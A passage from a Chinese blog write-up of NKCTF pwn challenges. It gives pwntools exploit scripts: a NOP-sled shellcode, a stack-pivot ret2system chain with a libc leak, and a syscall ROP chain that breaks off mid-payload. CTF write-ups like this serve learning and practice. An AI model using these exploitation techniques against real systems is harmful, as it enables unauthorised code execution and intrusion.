NKCTF PWN wp

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


ezshellcode

填充nop抵消随机滑行到shellcode

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node.yuzhian.com.cn'
    port = 38867
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


debug("b *0x00000000004012F1")
shellcode = p8(0x90) * 104 + asm(shellcraft.sh()) 
p.sendafter("in 5 min!\n", shellcode)

p.interactive()

a_story_of_a_pwner

栈迁移然后刚好够弹一个参数执行system

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    libc = ELF("./libc.so.6")
    p = process('./pwn')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 33627 
    libc = ELF("./libc.so.6")
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
    p.sendlineafter(b"> \n", str(choice).encode('ascii'))

pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139E
debug("b *0x000000000040139F")
choose(4)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x84420
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
choose(1)
p.sendafter(b'comment?\n', p64(binsh))
choose(2)
p.sendafter(b'corment?\n', p64(pop_rdi))
choose(3)
p.sendafter(b'corMenT?\n', p64(sys))
choose(4)
payload = b'a'*0xa + p64(0x0000000000405098) + p64(leave_ret)
p.sendafter(b'heart...\n', payload)

p.interactive()

ez_stack

程序内直接就能找到syscall的gadget,使用其即可,注意的地方就是csu调用的时候是个指针,所以要把这个地址写入bss上才能正常使用

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./ez_stack')
DEBUG = 0
if DEBUG:
    gdbOpen = 1
    libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")
    p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    #p = process('./ez_stack')
else:
    gdbOpen = 0
    ip = 'node2.yuzhian.com.cn'
    port = 35211 
    p = remote(ip, port)
    clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    
def debug(info="b main"):
    if gdbOpen == 1:
        gdb.attach(p, info)
        #gdb.attach(p, "b *$rebase(0x)")

pop_rdi = 0x0000000000401283
pop_rsi = 0x0000000000401281 # pop rsi ; pop r15 ; ret
syscall = 0x000000000040114e
csu1 = 0x000000000040127A
csu2 = 0x0000000000401260

debug("b *0x00000000004011F6")
payload = b'a'*0x18 &#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShouCheng3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值